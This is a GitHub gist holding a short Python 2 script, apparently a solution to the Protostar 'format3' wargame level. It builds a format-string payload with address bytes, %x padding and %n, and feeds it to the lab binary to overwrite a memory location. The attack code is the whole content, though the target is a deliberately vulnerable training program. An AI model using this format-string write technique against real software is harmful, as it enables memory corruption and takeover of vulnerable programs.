Skip to content

Instantly share code, notes, and snippets.

@TheRealJunior
Created September 9, 2018 15:15
Show Gist options
  • Save TheRealJunior/a72083ae621c014676e37c1c4370d870 to your computer and use it in GitHub Desktop.
Save TheRealJunior/a72083ae621c014676e37c1c4370d870 to your computer and use it in GitHub Desktop.
format3 protostar
import subprocess
#we need to write ‭16930116‬ more chars
target_address = '\xf4\x96\x04\x08'
value_to_write = '\xF7\x54\x02\x01'
padding = '\x41'
leak_ptr = '%x ' * 12
write_to_ptr_format = '%x%x%x%x%x%x%x%x%x%x%x %0*c' + '‭%n'
input = value_to_write + value_to_write + target_address + write_to_ptr_format + '\n'
proc = subprocess.Popen(['/opt/protostar/bin/format3'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
stdout,stderr = proc.communicate(input=input)
print stdout
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment